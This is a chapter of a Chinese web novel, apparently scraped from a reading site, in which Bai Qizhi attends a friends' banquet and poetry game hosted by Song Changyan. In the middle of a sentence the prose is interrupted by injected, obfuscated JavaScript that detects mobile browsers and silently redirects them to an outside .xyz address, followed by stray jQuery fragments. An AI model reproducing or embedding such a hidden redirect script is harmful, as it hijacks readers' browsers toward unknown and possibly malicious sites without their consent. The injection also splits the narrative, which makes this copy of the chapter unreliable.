默认冷灰
24号文字
方正启体

27. 宴席

作者:朝朝颂安本书字数:K更新时间:
    白栖枝没想到宋长宴竟是特地来约自己出来玩的,惊喜之余她又有点担心。


    毕竟上次被林听澜那些狐朋狗友捏屁股的事还历历在目,每当想起来,白栖枝都感觉自己屁股上有一万只蚂蚁在爬!


    虽然说她知道恩人的朋友们也一定都是大好人,但是……


    还是有点怕怕的。


    但恩人看起来好伤心哦,如果自己拒绝的话,感觉他下一秒就会哭出来哎……


    “其实我也没有什么事啦。”白栖枝有些不好意思,低头看着裙摆下含羞带怯的脚尖,糯糯道,“只是我和恩人的朋友们都不认识,贸然前去,会不会太唐突了?”


    宋长宴里面恍然大悟道:“原来枝枝姑娘是在担心这个!”


    他笑道:“不会啦,大家都很好的,不会唐突的,而且我早在很久之前就和他们提起过枝枝姑娘,他们是知道枝枝姑娘的……哦!还是说枝枝姑娘是在担心席间只有您一个姑娘家,怕玩的不自在?这个也是不用担心的,我的一些同窗也会带家中姊妹来参宴的,到时候大家可以一起玩嘛!”


    宋长宴说这话时一双狗狗眼亮晶晶的,如果他真是一只大狗狗的话,古今现在尾巴都要摇到天上去了。


    见状,白栖枝再不忍心拒绝他,粲然一笑道:“好哦,那枝枝便先谢过恩人了!”


    “不过有一件事在下还是想和枝枝姑娘说一下。”宋长宴话锋一转,迟疑了一下,大方道,“枝枝姑娘总是恩人恩人的叫在下实在是有些不妥,我在家中排行第二,如若枝枝姑娘不嫌弃,同朋友们一样叫我宋二就好。”


    这样直接称呼实在是有些太无礼了……


    白栖枝想了想,迟疑道:“宋二公子?宋兄?宋哥哥?”


    宋家无千金,这还是宋长宴人生第一次被小姑娘叫做哥哥,白栖枝这一句“宋哥哥”听得他是心花怒放,几欲要流下泪来。


    ——从今天开始我竟也是个有妹妹的人了!


    宋长宴内心激动得泪流满面。


    他佯装镇定道:“那便由我来给枝枝姑娘引路吧,请随我来。”


    两人从人潮中挤了一阵,又绕过好几个弯儿,终于来到宋家的一处别院外。


    “笃——笃——笃!”敲门声两长一短。


    很快,门渐渐打开。


    门内两位丫鬟侍在一旁,见了宋长宴,欠身一礼道:“二公子。”说完,抬眸,见到站在一旁有些怯怯的白栖枝时不由得吃了一惊,却也很快将神色恢复如初,一齐做了个“请”的手势,恭敬道:“贵客请。”


    白栖枝许久没做过“贵客”了,被两人这么一声唤,倒有些不好意思来,也朝两人行了一礼,差点吓得她们花容失色。


    “枝枝姑娘,这边这边!”宋长宴站在落了雪红木桥上招手道。


    白栖枝匆匆跟了过去。


    过了垂花门,走过雕花游廊,往里头才是极乐世界。


    一进门,白栖枝的两个眼睛恨不得瞪得比鸡蛋还大——


    偌大的屋内分成两排,中间铺着绯色地衣,两侧摆着软垫与梨花木案几,后头还摆着一排紫檀木的三折屏风,那屏风是镂雕曲边竖棂的,屏心上裱糊绫绢,上头绘着名家山水,看起来好不阔气。


    可更阔气的当属那些落座之人。


    因这局是宋长宴组的,应邀者多是官宦人家的少爷千金,其间往来行者,无一不身着绫罗绸缎,腰系金玉佩饰,步履轻盈,雍容闲雅,恍若神仙下凡,明晃晃的一副世家气派。


    ——纷緫緫其离合兮,斑陆离其上下。


    白栖枝枉自己读了那么多的书,此刻脑子一片空白,想了半天就只剩下这一句诗了。


    淮安多繁华。


    此前,她虽在北名大街上早已领略过一次,可如今见到这种排场,还是会深深感叹自己眼界还是太过狭隘,如同管中窥豹般不见淮安全貌,实在是……实在是……


    白栖枝下意识向后退了一步。


    她看了看自己的衣裳,既不是绫罗绸缎,也没坠上什么玉佩金带,甚至还有些不合身,都是林听澜在外头约么着比量她的大小叫人随手给她做的。


    相比之下,她就像是那混入颗颗明珠间的一颗鱼目,是滥竽充数中那位名不副实的乐师。


    早知如此,她便不该来的……


    一时之间,白栖枝竟忘了,自己也曾是书画院翰林院首之女,是该着与他们一同享受这番富贵荣华的。


    “枝枝姑娘?”见白栖枝一直愣神,宋长宴小心翼翼地唤了她一声,生怕惊扰到她似的,一直担心地看着她,在她身边轻声问道,“可有何处不妥?”


    “没、没有。”白栖枝回过神来,赶紧换上一副笑脸,真诚地赞叹道,“没想到宋哥哥有这么家大的宅子,能装得下这么多的人喔!好厉害、好厉害!”


    这些反倒让宋长宴不好意思了,他“嘿嘿”地揉了揉后脑勺:“也不是啦,这原本是家父赏给大哥的院子,庆祝他当了太常少卿,不过大哥说他留着这座宅子并无用处就给了我。我嘛,觉得这宅子闲着实在是太暴殄天物了,索性就改成了这副模样,逢年过节便约上几位友人来此小聚,以解乏累。不过这事儿可不能让我爹知道,不然他又要说我不学无术、考不中进士了……”


    说道最后一句,宋长宴又是一副哭哭脸,可见三年落榜对他的打击有多大,吓得白栖枝一直在旁边安慰他。


    “宋小二!”人潮中,有人高喊一声,白栖枝循声望去,就见着一个珠光宝气的少年人朝他们大步走来。


    宋长宴立马打起精神:“李兄!”


    两人相互一礼,被称作“李兄”的那人又朝着白栖枝恭敬一礼,吓得白栖枝赶紧跟着欠身回礼,道上句“李公子好”。


    “姑娘不必拘谨。”李延温声道,“早在此前我们就已经从子逸口中听闻过有关于您的事了,实在是……”他深深叹了口气,嫉恶如仇道,“您那位夫婿实在忒不是人了,竟能做出如此抛妻负恩之事,若是被我抓到,我定要写一席械文,在淮安百姓面前好好数落他的罪过,叫他这辈子都在淮安抬不起头来!”


    白栖枝:……啊?这么严重!


    “不过白姑娘您放心,”李延顿了半晌,又拱了下手道,“家父乃是御史大夫李德义李大人,若你日后有什么困难大可以同子逸与我说,我二人定会鼎力相助!”


    听到“李德义”这三个字,白栖枝突然明


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809782|157766||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    了此人为何如此激动了,她虽不曾与阿爹去京中,但也从阿爹口中听过一些关于京中的事,其中最受阿爹称赞的便是这位御史台御史李德义李大人。


    据阿爹说,这位李大人气性大得很,一年要对陛下死谏上三四次,上次阿爹被召入京中时就差点见着这位李大人血溅朝堂,而此番事件的缘由仅仅是因为当今花太傅的孙女与太子太过亲近,觉得若太子不娶这位花小姐为妃的话,此举实在是有伤风化,望陛下早做决断……


    这样的人生出的儿子是个性情中人似乎也不是很奇怪。


    就在白栖枝不知道该如何回他这一番好意时,一旁的宋长宴开口解围道:“李兄,你吓到枝枝姑娘了。”


    “啊!如此,是在下唐突了,望枝枝姑娘莫怪。”说着,李延又是一个大礼,行的白栖枝汗流浃背。


    还是宋长宴赶紧将他扶起,拍了拍他的背,宽慰道:“哎,今日宴会本是为了玩乐,就不提那些伤心事了。李兄可与大家商讨好今日要玩些什么了?”


    说起玩乐,李延原本紧绷绷的脸这才稍作缓和:“方才大家商榷了一番,原本想作行酒令的,却又怕枝枝姑娘不胜酒力,故改为飞花令,以‘花’字为题,各人说一句诗,按照龙摆尾的顺序,若有人三秒之内答不出,便自罚酒一杯,如何?”


    听到大家是为了迁就她才换的游戏,白栖枝受宠若惊。


    不待她答,宋长宴便高兴道:“好呀!飞花令才好,又有雅兴又不至于玩的太过,这样我阿父问我做什么去了,我也好回答是来与诸位切磋诗句来了,这下子他就没有什么借口骂我了!这个好这个好!”


    这一番话算是把白栖枝的担忧给打消了。


    两人被领着上座,席间果然有几位阿姊,见了她都十分和善地朝她问候、同她闲聊,一来二去,白栖枝倒也真不那么紧张了,除却自己身家,谁问什么都笑盈盈地答,喜得诸位阿姊恨不得把她抱在怀里柔。


    此时席间气氛已然高涨起来,有人拍了拍掌,随即走上来一堆小厮,纷纷往众人面前的酒杯里斟酒。


    等到了白栖枝这里,还未等小厮提壶便有人叫道:“枝枝姑娘便不用了。她这么小,喝什么酒?来人,把我带的好茶来给枝枝姑娘泡上尝尝!”


    “算了吧!黄兄!”一个轻佻却不轻浮的声音反驳道,“你那茶太酽,估计枝枝姑娘喝一口就得被它苦昏了头,正巧我这儿有些从西洋带回来的花茶,枝枝姑娘,甭理他,尝尝我这个,保准儿比他那什么铁观音好喝!”


    他说完,又有一人补道:“花茶好呀,正好我这儿还带了蜂蜜,一同加茶里。过年嘛!大家也都喝点甜的,这样日子才不会越过越苦。”


    “嘿!你这乌鸦嘴的!”


    众人还未开始行令便笑闹做一团,激动处什么软垫、酒杯都飞了起来,被砸的人不但不生气反而一手挡着脸一手捂着肚子伏在地上哈哈大笑,边笑便同人讨饶,仿佛寻常人家的少年聚在一起笑闹般,完全没有半点世家子弟的礼仪端庄。


    只是这样看着,白栖枝的眼眶就已经有些湿润了。


    果然,都是朋友,这两方一对比——


    高下立判。


    ……
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)